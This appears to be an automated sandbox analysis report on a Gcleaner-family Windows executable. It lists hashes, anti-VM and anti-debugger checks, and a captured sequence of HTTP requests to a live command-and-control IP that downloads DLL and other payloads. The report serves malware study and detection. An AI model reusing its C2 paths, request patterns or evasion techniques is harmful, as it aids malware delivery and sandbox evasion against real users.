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Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25/12/2024, 04:16 UTC
Static task
static1
Behavioral task
behavioral1
Sample
f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe
Resource
win7-20240903-en
General
-
Target
f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe
-
Size
1.8MB
-
MD5
058611a32d95776b30974127ac7bc08f
-
SHA1
ff5c7aa9712882ae71a8b6ae8ff411ae84a9659d
-
SHA256
f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01
-
SHA512
eb94ee691b967302ac99a7b1120017c4186835eb9a472fe3fb3e1454a388b8e992d349c19cc92f012d9958165b794601f387f7944f35d86220c2d91e31e74ef0
-
SSDEEP
49152:ZrWMbRmUBFSH88PCmbhW7mPkS4gIc6+Dzae67b3q:ZrFFB4H88PC37NPnina
Malware Config
Signatures
-
Gcleaner family
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe -
Downloads MZ/PE file
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Wine f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe -
Loads dropped DLL 1 IoCs
pid Process 3044 f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3044 f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3044 f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe"C:\Users\Admin\AppData\Local\Temp\f5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3044
Network
-
GEThttp://185.156.73.23/add?substr=mixtwo&s=three&sub=empf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/dll/keyf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /dll/key HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 21
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/dll/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /dll/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: 1
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Disposition: attachment; filename="fuckingdllENCR.dll";
Content-Length: 97296
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: application/octet-stream
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=91
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/files/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /files/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: C
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=87
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
GEThttp://185.156.73.23/soft/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /soft/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: d
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Disposition: attachment; filename="dll";
Content-Length: 242176
Keep-Alive: timeout=5, max=86
Connection: Keep-Alive
Content-Type: application/octet-stream
-
GEThttp://185.156.73.23/soft/downloadf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exeRemote address:185.156.73.23:80RequestGET /soft/download HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: s
Host: 185.156.73.23
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Disposition: attachment; filename="soft";
Content-Length: 1502720
Keep-Alive: timeout=5, max=85
Connection: Keep-Alive
Content-Type: application/octet-stream
-
185.156.73.23:80http://185.156.73.23/soft/downloadhttpf5d053a8f4f26addd2ccf2d9c184c01001843564657127b181091653fe9cfe01.exe53.0kB 1.9MB 961 1393
HTTP Request
GET http://185.156.73.23/add?substr=mixtwo&s=three&sub=empHTTP Response
200HTTP Request
GET http://185.156.73.23/dll/keyHTTP Response
200HTTP Request
GET http://185.156.73.23/dll/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/files/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/soft/downloadHTTP Response
200HTTP Request
GET http://185.156.73.23/soft/downloadHTTP Response
200
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AS91FDNI\download[1].htm
Filesize1B
MD5cfcd208495d565ef66e7dff9f98764da
SHA1b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
SHA2565feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
SHA51231bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99
-
Filesize
1.4MB
MD5a8cf5621811f7fac55cfe8cb3fa6b9f6
SHA1121356839e8138a03141f5f5856936a85bd2a474
SHA256614a0362ab87cee48d0935b5bb957d539be1d94c6fdeb3fe42fac4fbe182c10c
SHA5124479d951435f222ca7306774002f030972c9f1715d6aaf512fca9420dd79cb6d08240f80129f213851773290254be34f0ff63c7b1f4d554a7db5f84b69e84bdd